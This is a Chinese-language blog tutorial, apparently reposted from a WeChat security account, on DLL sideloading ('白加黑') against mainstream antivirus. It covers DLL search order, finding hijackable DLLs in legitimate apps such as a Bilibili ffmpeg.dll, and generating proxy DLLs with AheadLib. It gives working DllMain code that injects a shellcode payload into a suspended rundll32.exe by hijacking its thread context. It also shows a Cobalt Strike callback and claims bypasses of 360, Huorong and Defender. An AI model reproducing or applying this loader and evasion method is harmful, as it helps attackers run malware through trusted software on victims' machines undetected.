白加黑保姆教程通杀主流杀软

admin 2024年5月22日22:41:41评论5 views字数 6448阅读21分29秒阅读模式

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦

原文链接:先知社区

https://xz.aliyun.com/t/14558

简单来说就是通过白名单的exe运行来去加载恶意的dll达到shellcode加载的目的,那么就需要对exe加载的dll进行了解。

0x01 DLL前置知识

DLL路径搜索目录顺序

• 1. 程序所在目录
• 2. 程序加载目录(SetCurrentDirectory)
• 3. 系统目录即 SYSTEM32 目录
• 4.16 位系统目录即 SYSTEM 目录
• 5.Windows 目录
• 6.PATH 环境变量中列出的目录
Know DLLs 注册表项
Know DLLs 注册表项里的 DLL 列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。
Know DLLs 注册表项的路径为 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
劫持应用中存在的 dll

直接转发 Direcrt Forwarding

直接转发对主程序来说,其实就是调用了原来 dll 的某个函数。
1.修改导出表
在导出表中,将要转发的函数入口地址指向另一个DLL对应函数的入口地址
2.实际调用过程
其他程序调用DLL中被转发的函数时,系统会重定向到转发目标DLL中的对应函数。
设 DLL A 中的函数 MyFunction() 被直接转发到 DLLB 中的函数 RealFunction(),那么调用 MyFunction() 实际上会调用 RealFunction()。

及时调用 Delay Load and Call

即时调用实际上是调用了劫持 dll 的某个函数,只不过那个函数会 jmp 到原本的 dll 中的相应函数的地址。达到的效果相同,但是实现的原理不同。

  1. 延迟加载目标 DLL
    当 DLL A 中的函数被调用时,首先使用 LoadLibrary 加载目标 DLLB。

  2. 获取函数入口地址
    然后使用 GetProcAddress 获取目标 DLL 中要调用的函数的入口地址。

  3. 实际调用过程:
    使用获取到的函数入口地址调用目标函数。
    这种方式的优点是,可以在需要调用函数时才加载目标 DLLB.
    注意事项
    不管是转发还是劫持,都需要注意使用对应位数的shellcode,可以使用01Eidor来打开exe查看,生成dll时候也需注意。
    DllMain 入口函数
    这是动态链接库的可选入口点。系统启动或终止进程或线程的时候,它会使用进程的第一个线程为每个加载的DLL来调用入口点函数。
    当Dll使用LoadLibrary加载和使用FreeLibrary函数卸载dll时候,系统还会回调该函数的入口点函数。

/*
* hModule:DLL模块句柄
* ul_reason_for_call:调用函数的原因
* lpReserved:保留参数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
case DLL_THREAD_ATTACH: // 当线程被创建时调用
case DLL_THREAD_DETACH: // 当线程结束时执行
case DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
if (lpvReserved != nullptr)
{
break; // lpvReserved为非空时,表示进程被终止,不做任何清理
}
// 执行必要的清理
break;
}
return TRUE; // DLL_PROCESS_ATTACH成功
}

DLL_PROCESS_ARRACH
当一个dll文件被映射到进程的地址空间时,系统调用dllmain,传递fdwReason参数为DLL_PROCESS_ARRACH,只会被传递一次。
DLL_PROCESS_DETACH
当dll被从进程的地址空间接触映射时调用
比如:
1.调用FreeLibray()
2.进程结束
3.传入DLL_PROCESS_ATTACH的dllmain返回False
DLL_PROCESS_ATTACH
当进程创建一线程调用时,与DLL_PROCESS_ATTACH不同,该值可以被多次调用。

白加黑保姆教程通杀主流杀软

DllMain函数名修饰-APIENTRY

#define CALLBACK __stdcall   // WIN32编程中的回调函数类型
#define WINAPI __stdcal
#define WINAPIV __cdecl
#define APIENTRY WINAPI   // DllMain的入口就在这里
#define APIPRIVATE __stdcall
#define PASCAL __stdcall

APIENTRY根据宏定义 WINAPI以及stdcall,可知是属于stdcall调用约定。
这种约定主要约束了两件事:参数传递顺序、调用堆栈由谁清理(调用函数或被调用函数)。
常见的函数调用约定有:cdecl stdcall fastcall thiscall
其中 cdecl 是 CC++ 的默认调用约定,stdcall 是 Windows API 的默认调用约定。
Dll的调试
这里写一个例子来进行dll的开发和调试
pch.h对应的源文件

白加黑保姆教程通杀主流杀软

这段代码定义了一个 study_dll_EXPORTS的宏,定义API_DECLSPECKM为declspec(dllexport),否则则定义API_DECLSPECKM为declspec(dllimport)

白加黑保姆教程通杀主流杀软

生成dll后在用dumpbin来查看导出表,注意dumpbin要找到对应位数这里是64位,不要用成arm的了

白加黑保姆教程通杀主流杀软

这里学习一下调用dll来调试dll中的代码。
首先需要可以调用这个dll的exe,这点很重要。
创建一个控制台项目,然后代码里面加载dll,获取到HModule后,在用GetProcAddress来获取dll里面的方法

白加黑保姆教程通杀主流杀软

这里再return这下断点 可以看到调试成功了

白加黑保姆教程通杀主流杀软

白加黑保姆教程通杀主流杀软

0x02 dll静态和动态调用的特点

dll静态调用特点
程序在编译时将所需的dll文件嵌入到可执行文件中,也就是dll文件与可执行文件捆绑在一起。
当程序运行时,操作系统会将静态链接库(Static Link Library)中的代码和数据复制到程序的内存空间中,这样程序就可以直接使用 DLL 中的功能。由于 DLL 文件已经被嵌入到可执行文件中,因此程序在运行时不需要再加载 DLL 文件,可以直接执行。
示例 编写一个静态dll文件 mydll.lib

白加黑保姆教程通杀主流杀软

// 定义 DLL 导出函数的原型
typedef int (*DLLFUNC)(int);

int main()
{
// 加载静态链接库
#pragma comment(lib, "mydll.lib")

// 获取 DLL 导出函数指针
DLLFUNC MyFunc = (DLLFUNC)GetProcAddress(hLib, "MyFunc");

// 调用 DLL 导出函数
int result = MyFunc(123);

return 0;
}

dll动态调用的特点
如果所需要dll不存在,不会返回错误代码(除非在代码里面写了Getlasterror这些)

0x03 dllmain上线问题

根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:

白加黑保姆教程通杀主流杀软

dllmain里面不能创建进程这个问题是一个坑。
也就是说创建线程申请内存加载shellcode需要在导出函数里面操作,不能再dllmain里面直接操作,需要找到第一个执行的函数就能行,但是麻烦,我们可以可以新定义一个函数来申请内存,加载到内存中,在dllmain中只需要去用CreateThread来调用它就可以了。

0x04 寻找可用dll

这是一个关键性的问题,可执行文件的导入dll那么多,用哪个dll来加黑呢?这个可以说是最关键的一步!
一般我们能利用的 dll 都是特殊的 dll,无论 SafeDllSearchMode 是否开启最终都是在当前路径之下搜索。
这里来罗列一下几种方法

1.孤独寻找

最容易想到的操作,就是把exe单独移动出来,然后运行看看报错是什么,这里报错是缺少ffmpeg.dll,
但是这种方法不保证管用和准确性。

白加黑保姆教程通杀主流杀软

100多MB的启动程序导入表dll居然这么少
通过查看导入表,来判断排除系统dll,然后看看在结合目录寻找软件的dll

白加黑保姆教程通杀主流杀软

有些程序光是一个dll还无法正常打开运行,可能是dll1还需要dll2,这种就不好去找了。有些能运行上线,但是程序无法正常使用,想要劫持了dll加黑,又要原程序正常运行这是一件很难的事情。

2.Procmon助我

使用Procmon任务管理器来动态运行程序查找,可以逐步分析需要动态加载哪些关键DLL。
先来一个Filter

白加黑保姆教程通杀主流杀软

内容还是太多了,需要再过滤一下,只看dll的

白加黑保姆教程通杀主流杀软

加上path以.dll结尾的过滤器

白加黑保姆教程通杀主流杀软

再加上一个exclude,就可以排除完了

白加黑保姆教程通杀主流杀软

3.巧用工具

寻找了好几款工具,对比测试发现ZeroEye效果还不错

白加黑保姆教程通杀主流杀软

利用工具来检查可以被劫持的dll,可以快速排除寻找
https://github.com/ImCoriander/ZeroEye/tree/ZeroEye
这款工具python运行调用PE程序去寻找,成功找到后会生成对应目录

白加黑保姆教程通杀主流杀软

这里给出了exe的导入DLL,分成系统DLL和程序的DLL,一目了然,比如寻找wyy的

白加黑保姆教程通杀主流杀软

cloudmusic_util.exe这里导入依赖了很多dll

白加黑保姆教程通杀主流杀软

这里还差一个dll,我们手动排查发现

白加黑保姆教程通杀主流杀软

那么在给他加上libFLAC_dynamic.dll就可以直接运行了

黑Dll制作

我这里测试,就选择这个某哔哩ffmpeg.dll来制作。
用AheadLib来做dll的相关函数导出,但是之前的这个软件导出x64位的dll就会直接闪退,没办法,已经没有更新了

白加黑保姆教程通杀主流杀软

在GitHub上找到了一个可以用的,但是导出之后需要把asm相关函数编译成obj,比较麻烦
https://github.com/strivexjun/AheadLib-x86-x64
导出转发生成了ffmpeg_jump.asm和ffmpeg.cpp文件

白加黑保姆教程通杀主流杀软

编译的时候就发现存在两个函数的报错,尝试了很久,添加链接器到Shlwapi.h物理路径也不行,就很奇怪
shlwapi.h已经引用 找不到pathstrippath”和“strcmpi”

白加黑保姆教程通杀主流杀软

没有用,只能尝试替换掉这两个函数了

白加黑保姆教程通杀主流杀软

当然可以用其他的轮子来加载dllmain
(由于dll被修改后哔哩打开就闪退了,之前那个是在dllmain中调用函数来创建线程,所以闪退会导致CS这边也退掉)
想要保持修改dll后的软件exe也能正常运行打开,不是那么好做,是比较困难的,条件要求很高。那么可以考虑换一种方法来执行。
注入进程,一种常用的轮子

unsigned char payload[] = "xfcxe8...";
unsigned int payload_len = sizeof payload - 1;

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u);
memcpy((void*)v7A, payload, payload_len);

struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
if (result)
{
Context.ContextFlags = 65539;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, payload_len, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, payload_len, NULL);
// 32 位使用 Context.Eip = (DWORD_PTR)v24;
Context.Rip = (DWORD_PTR)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result = CloseHandle(ProcessInformation.hProcess);
}

TerminateProcess(GetCurrentProcess(), 0);
}

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

ok 代码的问题解决了,但是再编译的时候出现了上面的导出函数无法被识别的问题

这里就需要来编译asm文件了,参考asm注释里面给的命令,需要注意ml64是vsstudio里面的文件,因为这里没有加入到环境变量中,所以写全路径,编译得到了ffmpeg_jump.obj
"E:C projectMicrosoft Visual StudioVCToolsMSVC14.16.27023binHostX64x64ml64" /Fo ffmpeg_jump.obj /c /Cp ffmpeg_jump.asm

白加黑保姆教程通杀主流杀软

把ffmpeg_jump.obj复制到项目目录下

白加黑保姆教程通杀主流杀软

然后把obj文件添加到链接器里面

白加黑保姆教程通杀主流杀软

放回到安装目录可以上线,这里是启动了rundll32.exe来上线的

白加黑保姆教程通杀主流杀软

白加黑保姆教程通杀主流杀软

这样子单独拎出来也可以上线,不过还没有做免杀

再加上一点自己的免杀手段上去,这里就不继续展开了
360,火绒,defender通通bypass!
放一下defender免杀效果图
defender静态查杀

白加黑保姆教程通杀主流杀软

defender动态查杀

白加黑保姆教程通杀主流杀软

参考链接:
https://www.freebuf.com/articles/system/333690.html
https://github.com/strivexjun/AheadLib-x86-x64
https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-best-practices?redirectedfrom=MSDN
https://github.com/ImCoriander/ZeroEye/tree/ZeroEye

原文始发于微信公众号(亿人安全):白加黑保姆教程通杀主流杀软

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月22日22:41:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   白加黑保姆教程通杀主流杀软https://cn-sec.com/archives/2766586.html

发表评论

匿名网友 填写信息